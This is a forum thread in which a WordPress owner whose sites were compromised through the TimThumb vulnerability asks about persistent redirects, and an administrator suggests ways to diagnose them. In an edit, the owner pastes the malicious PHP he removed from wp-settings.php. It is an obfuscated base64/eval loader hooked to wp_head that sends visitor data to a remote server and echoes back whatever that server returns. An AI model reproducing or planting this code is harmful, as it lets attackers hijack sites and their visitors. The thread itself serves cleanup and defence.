25 Years of Programming Community Forum
Blog  Sitemap  Services
May 18, 2013, 10:56:43 AM *
Welcome, Guest. Please login or register.

Login with username, password and session length
News: Many people land on pages of this website with questions that could easily have been answered if they'd asked. If your question wasn't answered on one of the web pages, feel free to ask in the forum.
 
   Home   Help Search Login Register  
This is a link to the Chat Room (for Firefox+ChatZilla) when you are logged in.
View help topic about using Live Chat
Pages: 1   Go Down
  Print  
Author Topic: TimThumb hack, giving me a little trouble!  (Read 1372 times)
0 Members and 1 Guest are viewing this topic.
robbeh
Newbie
*
Offline Offline

Posts: 1


« on: September 21, 2011, 11:40:57 PM »

To whoever is lucky enough to read through my problem Smiley

I have to say this site has been quite informative!  I've digested a few Website security articles and have to say they were exactly what I was looking for.  But my problem still persists!

I had a few websites running Wordpress which had certain themes installed using the Timthumb script (used to format images from what I hear).  In August their was a nice vulnerability in the script and 1000's of sites got "hacked" or were compromised, including mine Smiley!

So I went threw as many articles as I could and I have decided to seek so friendly forum help.

What I found was some malicious code in the "l10n.js" file (bunch of numbers and what not).  I cleaned up the file (basically used a fresh Wordpress download l10n.js file to compare and clean).
I also went through any files that were different in size compared to the default Wordpress install.  Anything that was different I opened up and did my best to scan through the code.

In the wp-settings.php file I notice some weird code near the bottom of the file (bunch of letters numbers symbols, wish I had saved it) so I deleted it out. Seems to have done no harm.

All scans come up clean, Google has not flagged the site (only one on my shared hosting sites was flagged and I deleted it because I really didn't need it).  3 sites came up infected with Scuri scan initially but all come up clean now.

The Problem:

What I am noticing is every so often when I visit one of the three sites, I am redirected to Yahoo Associated Content site automatically and sometimes i'm redirected a bunch of times (every half second) to all these different sites.

I don't know where to look for the problem and any advice would be helpful!

Thanks a bunch,
Robb
P.s. I also did a scan with the script on your site...I don't really know what to look for in the results (or what should flag me), any help here would be much appreciated!  

Edit: I found the code I deleted from the wp-settings.php file.  After reading all those articles, I think I did the right thing.

function counter_wordpress() {$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTI zNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1 IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action('wp_head', 'counter_wordpress');
do_action( 'init' );
 
« Last Edit: September 22, 2011, 01:19:02 AM by robbeh » Report to moderator   Logged
SteveW
Administrator
Sr. Member
*****
Offline Offline

Posts: 285


WWW
« Reply #1 on: September 22, 2011, 05:58:20 AM »

Yes, the code that you added with your edit was bad.  You did the right thing by removing it from the file. 

There are several ways that your requests could be getting redirected.

A useful tool for diagnosing these is the "Live HTTP Headers" Firefox add-on. It will show you in real time whether your requests are being redirected by your server. Firefox also gives you the option of turning JavaScript off.  If you are redirected when JavaScript is on, but not when it is off, then the place to look for redirect code is in JavaScript from your site, either on pages or in separate .js files. (If you don't already have Firefox, I do recommend it even if you only use it for this purpose. Get FF and its NoScript add-on, and then "Live HTTP Headers".)

Sections 12) to 14) at http://25yearsofprogramming.com/blog/20071223.htm describe some of the redirect methods and show examples of suspicious code for each.

First, find all the .htaccess files in your site and visually inspect each one for rewrite rules that mention any of the sites you're being redirected to (or any sites other than yours). 

It sounds like you've not yet found all the bad code that was installed by the hack.

I'm not specifically familiar with this TimThumb hack, but it sounds like you've done a good job of finding people who are. A web search shows that a lot has been written about it. 

Make sure that your WordPress is upgraded to latest version, and either remove or update your theme that uses the timthumb code, or upgrade timthumb itself to the newest version. Some articles say that there can be multiple instances of timthumb in a site; in that case it's necessary to upgrade all of them.

Here are some useful references if you haven't already discovered them:

http://redleg-redleg.blogspot.com/2011/08/malware-hosted-newportalsecom.html

Sort of rambling, but mentions many filenames to inspect, etc, and mentions clearing browser cache and deleting the cookies that have been set by your site:
http://wordpress.org/support/topic/iframe-hack-3 (the thread spans 2 pages)
Report to moderator   Logged
Pages: 1   Go Up
  Print  
 
Jump to:  

Yahoo! Search
Search the web Search this site
Mazeguy Smilies Powered by MySQL Powered by PHP Powered by SMF 1.1.16 | SMF © 2011, Simple Machines Valid XHTML 1.0! Valid CSS!